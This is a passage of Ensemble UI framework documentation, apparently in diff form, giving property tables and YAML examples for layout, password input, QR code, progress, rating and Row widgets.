overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | + +#### styles.linkStyle + +| Property | Type | Description | +| :--------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| fontSize | integer | Sets the size of the text. | +| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| decoration | string | A linear decoration to draw near the text`none`,`lineThrough`,`underlines`,`overline` | + +--- + +# Multi-Child Layout widgets + +## Options for Multi-Child Layout widgets + +1. Column: + Ensemble's Column widget displays its children in a vertical array, similar to Flutter. + Use Column when you want to arrange widgets vertically. + The Column widget doesn't scroll. If you need scrolling functionality, consider using ListView. + If there's only one child, consider using Align or Center to position it. + +2. Flow: + Ensemble's Flow widget is designed to flow its children horizontally or vertically based on available space. + The Flow container is useful for creating dynamic layouts with elements that automatically wrap to the next line when they exceed the available width + +3. GridView + Ensemble's GridView widget is useful for creating a 2D array of widgets. + Use GridView when you need a grid layout. + +4. Flex: + Ensemble's Flex widget is similar to Flutter's Flex and is used to create flexible layouts. + Use Flex when you need + - Flexible arrangements of widgets. + - To switch between row and column layouts based on certain conditions, such as device screen size. + +5. Row: + Ensemble's Row widget arranges its children in a horizontal array. + Use Row when you want to arrange widgets horizontally. + Utilize mainAxis property to control the positioning of children along the main axis (horizontal). + Use crossAxis property to align children along the cross axis. + Employ expanded: true property for a child widget when you want it to take as much space as possible. + +6. ListView: + Ensemble's ListView widget is suitable for scrolling lists of widgets. + Use ListView when you need a scrollable list. + Implement pull-to-refresh functionality for updating the list content from an API. + + +## Examples: + +### 1. Column: +**Column Layout** +```yaml + Column: + styles: + gap: 16 + padding: 24 + children: + - Text: + text: Column lays out its children vertically. + - Column: + styles: + gap: 4 + children: + - Smile + - Beam + - Divider +``` + +### 2. Flow +**Flow with Simple Tags** +```yaml + Flow: + styles: + gap: 8 + lineGap: 8 + children: + - SimpleTag: + inputs: + label: Travel + - SimpleTag: + inputs: + label: Nature +``` + +**Flow with Bold Tags and Background Images** +```yaml + Flow: + styles: + gap: 8 + lineGap: 8 + children: + - BoldTag: + inputs: + label: Travel + background: https://.../flow_travel.png + - BoldTag: + inputs: + label: Nature + background: https://.../flow_nature.png +``` + +### 3. GridView: +**Grid View with response** +```yaml + GridView: + styles: + height: 400 + horizontalTileCount: 2 + itemHeight: 128 + item-template: + data: ${getPeople.body.results} + name: person + template: PersonCard +``` + +### 4. Flex: +**Flex Direction Switching** +```yaml + Flex: + styles: + direction: '${device.width > 400 ? "horizontal" : "vertical"}' + gap: 4 + children: + - Image: + source: https://images.unsplash.com/photo-1550684848-86a5d8727436 + styles: { width: 90, height: 90, borderRadius: 90, fit: cover } + - Image: + source: https://images.unsplash.com/photo-1550684848-fac1c5b4e853 + styles: { width: 90, height: 90, borderRadius: 90, fit: cover } + - Image: + source: https://images.unsplash.com/photo-1551651057-f3f83700a831 + styles: { width: 90, height: 90, borderRadius: 90, fit: cover } +``` + +### 5. Row: +**Row Layout** +```yaml + Row: + styles: + gap: 8 + children: + - Smile + - Beam + - Wink +``` + +**Main Axis Positioning** +```yaml + Row: + styles: + mainAxis: spaceBetween + backgroundColor: 0xFFCCDFE5 + padding: 4 + borderRadius: 4 + children: + - Smile + - Beam +``` +Similar examples for `mainAxis: spaceAround`, `mainAxis: center`, and `mainAxis: end` + +**Child Widget Expansion** +```yaml + Row: + styles: + gap: 8 + children: + - Button: + label: First button + styles: + expanded: true + - Button: + label: Second button +``` + +### 6. ListView: +**ListView** +```yaml + ListView: + id: listView + onPullToRefresh: + invokeAPI: + name: getPeople + onItemTap: + navigateScreen: + name: ListView - Detail Page + inputs: + doc_type: ${getPeople.body.users[this.selectedItemIndex]} + styles: { expanded: true } + item-template: + data: ${getPeople.body.users} + name: users + template: + MyRow: + inputs: + p: ${users} +``` + +--- + +# PasswordInput widget + +The PasswordInput Widget enables the rendering of secure password input fields, ensuring that user-entered passwords remain hidden and protected within your application for enhanced security and privacy. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/218fa244-f0cd-4d17-91e6-7c099bbedede) + +## Properties + +| Property | Type | Description | +| :-------------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| id | string | ID to be referenced later | +| maxWidth | integer | The max width of this Input widget (default 700) | +| label | string | Label for your widget | +| labelHint | string | Hint text on your label | +| hintText | string | Hint text explaining your widget | +| required | boolean | Whether the field is required | +| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | +| icon | object | [See properties](#icon) | +| onChange | | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | +| onFocusReceived | action | Execute an Ensemble action when the field receives focus | +| onFocusLost | action | Execute an Ensemble action when the field loses focus | +| styles | object | [See properties](#styles) | +| validator | object | [See properties](#validator) | +| onKeyPress | action | On every keystroke, call Ensemble's built-in functions or execute code | +| keyboardAction | string | Specify the action key on native device's soft keyboard | +| obscureToggle | boolean | enable the toggling between plain and obscure text. | +| obscureTextWidget | widget | Custom widget to replace the default visibility toggle icon for password fields. When provided, this widget will be used instead of the standard visibility icon to toggle between showing and hiding the text. | +| readOnly | boolean | When it is true, the text cannot be modified by any shortcut or keyboard operation. | +| selectable | boolean | Setting this to true will enable features such as long-pressing the TextField to select text and show the cut/copy/paste menu, and tapping to move the text caret text. | +| maxLength | integer | The maximum number of characters allowed in the text field. If set, the text field will restrict the input to this number of characters. | +| maxLengthEnforcement | string | none, enforced, truncateAfterCompositionEnds. [see properties](#maxlengthenforcement) | + +### icon + +| Property | Type | Description | +| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| name | string | The name of the icon | +| library | string | Which icon library to use. | +| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | +| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderRadius | integer | The border radius for this Input widget. This property can be defined in the theme to apply to all Input widgets. | +| borderWidth | integer | The border width for this Input widget. This property can be defined in the theme to apply to all Input widgets. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| fontSize | integer | Sets the size of the text. | + +### validator + +| Property | Type | Description | +| :--------- | :------ | :------------------------------------------------------------------------------------- | +| minLength | integer | The minimum number of characters | +| maxLength | integer | The maximum number of characters | +| regex | string | The Regular Expression the input will need to match | +| regexError | string | The customized error message to show when the input does not match the provided regex. | + +#### options for styles.variant + +| Option | Description | +| :-------- | :------------------------------------------------------------------------------------------------------------------- | +| box | draw a Box border around this input widget. This property can be defined in the theme to apply to all Input widgets. | +| underline | draw an Underline below this input widget. This property can be defined in the theme to apply to all Input widgets. | + +### MaxLengthEnforcement + +| Property | Type | Description | +| :--------- | :------ | :------------------------------------------------------------------------------------- | +| none | string | No enforcement applied to the editing value. It's possible to exceed the maxLength. | +| enforced | string | Keep the length of the text input from exceeding the max length even when the text has an unfinished composing region. | +| truncateAfterCompositionEnds | string | Users can still input text if the current value is composing even after reaching the max length limit. After composing ends, the value will be truncated. | + +--- + +# Profile Image Widget + +The `ProfileImageWithIndicator` widget in Ensemble offers a convenient way to showcase user profile images along with customizable indicator labels. + +**Input Parameters** +Required: +1. `image`: URL of profile image to be displayed + +Optional: +1. `label`: Content within floating label +2. `labelPosition`: Position of the label, default is topRight. Possible values are topLeft, topCenter, topRight, centerLeft, center, centerRight, bottomLeft, bottomCenter, bottomRight +3. `imageSize`: Image size, default is 90 +4. `labelColor`: Color used for the label, default is white +5. `labelBackgroundColor`: Color used for the label background, default is blue + +By using these Input Parameters, you can effortlessly create various profile images tailored to your app's design. Below is an example of how to use the public widget `ensemble.ProfileImageWithIndicator`: +```yaml +- ensemble.ProfileImageWithIndicator: + inputs: + label: 4 + image: https://images.pexels.com/photos/733872/pexels-photo-733872.jpeg?auto=compress&cs=tinysrgb&w=1260&h=750&dpr=2 + imageSize: 160 + labelSize: 40 + labelPosition: bottomRight + labelColor: blue + labelBackgroundColor: 0xFFDEDEDE +``` +Since this widget is globally available, you only need to specify the image input. The example above also showcases optional input parameters for further customization. Simply use `ensemble.ProfileImageWithIndicator` in your app to streamline the integration of profile images with indicator labels. + +--- + +# Progress Indicator + +The Progress Indicator Widget facilitates the rendering of visual progress indicators, providing users with visual feedback on the progress of tasks or operations within your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c2c248f2-a289-40d3-acd5-65a1a7f3c5a2) + +## Properties + +| Property | Type | Description | +| :------------------ | :------ | :------------------------------------------------------------------------- | +| display | string | | +| countdown | integer | Show the progress percentage based on the number of seconds specified here | +| onCountdownComplete | | Execute this Action when the countdown comes to 0 | +| styles | object | [See properties](#styles) | + +### styles + +| Property | Type | Description | +| :-------------- | :------ | :--------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| backgroundColor | | Background color, starting with '0xFF' for full opacity e.g 0xFFCCCCCC | +| size | integer | Specifies the width (progress bar) or the diameter (circular progress indicator) | +| thickness | integer | Specifies the thickness of the indicator (for progress bar this is the height) | +| color | | | + +--- + +# QRCodeScanner widget + +The QR-Code Scanner Widget provides a camera preview for scanning QR codes and returns the decoded data. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/ykDZEs5NKh8WHFdZtM8A) + +## Properties + +| Property | Type | Description | +| :------- | :----- | :------------------------------- | +| formatsAllowed | array | Use formatsAllowed to specify which formats needs to be scanned. | +| initialCamera | string | Initialize either camera, back or front. `back` `front` | +| onInitialized | action | Execute an action once the QRCodeScanner is initialized | +| onPermissionSet | action | Execute an action with the status of camera permission. Get the status via ```event.data.status``` | +| onReceived | action | Execute an action when it scans and retrieved the data from QRCode. Get the data via ```event.data.data```, format ```event.data.format``` and bytes ```event.data.rawBytes``` | +| styles | object | [See properties](#styles) | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| overlayColor | integer or string | The overlay color of the QR code scanner widget | +| cutOutBorderColor | integer or string | The border color of the cutOut area of the QRCodeScanner widget | +| overlayMargin | integer | The margin of the overlay of the QRCodeScanner widget | +| cutOutBorderWidth | integer | Thickness of the cutOut area border. | +| cutOutBorderLength | integer | Length of the cutOut area border. | +| cutOutBorderRadius | integer | The border radius of the cutOut area widget. | +| cutOutWidth | integer | The width of the cutOut area widget. | +| cutOutHeight | integer | The height of the cutOut area widget. | + +### Methods +| Function | Args | Description | +| ---| ---| --- | +|flipCamera() | | It flips the camera from back to front or front to back | +|toggleFlash() | | It turns the flash light ON/OFF | +|pauseCamera() | | It pauses the camera in the QRCodeScanner widget | +|resumeCamera() | | It resumes the camera in the QRCodeScanner widget | + +### Box Styles (Inherited) +This widget also inherits these styles + +[box](_snippets/box-styles.md ':include') + +### Base Styles (Inherited) +This widget also inherits these styles + +[base](_snippets/base-styles.md ':include') + +--- + +# QR-Code widget + +The QR-Code Render Widget empowers you to effortlessly generate and render QR codes within your application, enabling convenient scanning and information exchange for users. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/f4921ba2-9f3d-4c33-8848-4df29a5e7a4d) + +## Properties + +| Property | Type | Description | +| :------- | :----- | :------------------------------- | +| value | string | The data to generate the QR code | +| styles | object | [See properties](#styles) | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| size | integer | Specify the width/height of the QR Code. Default: 160 | +| color | integer or string | Set the color for the QR code drawing, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | + +### styles.backgroundGradient + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | +| start | string | The starting position of the gradient | +| end | string | The ending position of the gradient | + +### styles.backgroundImage + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | +| source | string | The Image URL to fill the background | +| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | +| alignment | string | Alignment of the background image | + +#### Fit options for styles.backgroundImage + +| Option | Description | +| :-------- | :-------------------------------------------------------------------------------------------------- | +| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | +| contain | Scale the image such that the entire image is contained within our dimension | +| cover | Scale the image to fill our dimension, clipping the image as needed | +| fitWidth | Scale the image to fit the width, and clipping the height if needed | +| fitHeight | Scale the image to fit the height, and clipping the width if needed | +| none | Center-Align the original image size, clipping the content if needed | +| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | + +--- + + +# RadioButton + +RadioButton widget renders a simple Radio button, which can be grouped with other RadioButtons anywhere on the screen with the groupId. + +--- + + +# RadioGroup + +The RadioGroup widget renders a group of radios together in a few pre-determined layouts. + +--- + +# ensemble.RatingStars widget + +The `ensemble.RatingStars` widget in Ensemble provides an intuitive solution for displaying star ratings with customizable attributes. It is fixed at 5 stars. + + +[Kitchen Sink example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/Ywo5qN6fAbx0pC3l5aLZ) + + +**Input Parameters** +Required: +1. `rating`: An integer or double between 1 and 5, indicating the number of stars to be filled + +Optional: +1. `starColor`: The color used to fill the stars, default is 0xFFF5970A +2. `starBackgroundColor`: The color used as the background of the box containing each star, default is 0xFFFFFAEB +3. `size`: An integer to set the size of each star, default is 16 +4. `starGaps`: An integer to set the gap between stars, default is 4 +5. `starPadding`: An integer to set the padding for each star, default is 2 +6. `starBorderRadius`: An integer to set the gap between stars, default is 2 + +By utilizing these Input Parameters, you can customize the appearance of the rating stars by adjusting these parameters tailored to your app's design. Below is an example of how to use the public widget `RatingStars`: +```yaml +- ensemble.RatingStars: + inputs: + rating: 3 + size: 24 + starColor: white + starBackgroundColor: red +``` +Since this widget is globally available, you only need to specify the rating input. The example above also showcases optional input parameters for further customization. Incorporate the `ensemble.RatingStars` widget in your app to enhance the visual representation of rating stars. + +--- + +# Row + +Row is designed to arrange child widgets horizontally, where the intrinsic sizes of child widgets dictate the layout's appearance. + +## Best Practices + +- Use Row to lay out the children horizontally from left to right. Enable scrollable if the children might exceed the available space. +- **Avoid** using child widgets with no width constraint or sized itself to the parent (e.g. form inputs such as TextInput) inside the Row. [FlexRow](/pages/widgets/flex-row.md) may be a better choice in this case. +- Avoid using nested scrollable Row for better UX. + +## Key Concepts +- **mainAxisSize**: By default the width of a `Row` is determined by its parent's width constraint (if available), otherwise it will be the combined width of its children. You may force the Row to do the later (size itself to the children's combined width) with `mainAxisSize=min`. +- **mainAxis**: This property controls the horizontal alignment of the children within the Row. This property is useful only when the mainAxisSize is set to max (default) as there are available spaces to align the children. +- **crossAxis**: This property controls the vertical alignment of the children within the Row. +- **scrollable**: Enable horizontal scrolling when the child widgets grow wider than the available space. + +## Caveats +- **Row height**: Note that setting a height for a Row acts more like a maximum height constraint. The Row determines its actual height based on the tallest child, aligning the other children along the vertical cross-axis according to this height. This means if this actual height is less than the specified height, the `crossAxis` only affects the alignment of the children within the determined (lesser) height. +If you wish to stretch all the children to the same specified height, add `crossAxis: stretch` in addition to the fixed height. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4bd0d453-c243-429d-a562-93cbc9db38e3) + +## Properties + +| Property | Type | Description | +| :------------ | :----- | :------------------------------- | +| item-template | object | [See properties](#item-template) | +| children | array | List of widgets | +| styles | object | [See properties](#styles) | + +### item-template + +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------- | +| data | string | Bind to an array of data from an API response or a variable | +| name | string | Set the name to reference as you iterate through the array of data | +| template | | The widget to render for each item | + +### styles + +| Property | Type | Description | +| :--------------------------- |:-----------------------------------------------------------| :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| mainAxis | string | Control our children's layout horizontally.`start` `center` `end` `spaceBetween` `spaceAround` `spaceEvenly` | +| fontSize | integer | Sets the size of the text. | +| fontFamily | string | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). | +| gap | integer | The gap between the children in the main direction | +| crossAxis | string | Control the vertical alignment of the children.`start` `center` `end` `stretch` `baseline` | +| mainAxisSize | string | If 'max', stretch the Row to fill its parent's width. Otherwise (min) the Row's width will be its children's combined. | +| scrollable | boolean | Set to true so content can scroll horizontally as needed | +| autoFit | boolean | Explicitly make the row's height as tall as the largest child, but only if the row's parent does not already assign us a height. This attribute is useful for sizing children who don't have a width (e.g vertical Divider) | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | [Color](#Color) | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | [Color](#Color) | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundImage | [BackgroundImage](#BackgroundImage) | Background image of the box. | +| backgroundGradient | [Gradient](#Gradient) | Background gradient of the box | +| backgroundColor | [Color](#Color) | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | +| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | +| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | +| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | +| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | + +--- + +# Shape Widget + +ECreate and customize a variety of shapes to add flair to your UI. Use this widget in combination with [LoadingContainer](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3wNZSfVkdi56zmTtFeBT) to create compelling loading states. + +### Properties + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------- | +| type | string | Type of the shape, `circle` `rectangle` `oval` `square` | + +### Styles + +| Property | Type | Description | +| :-------------- | :---------------- | 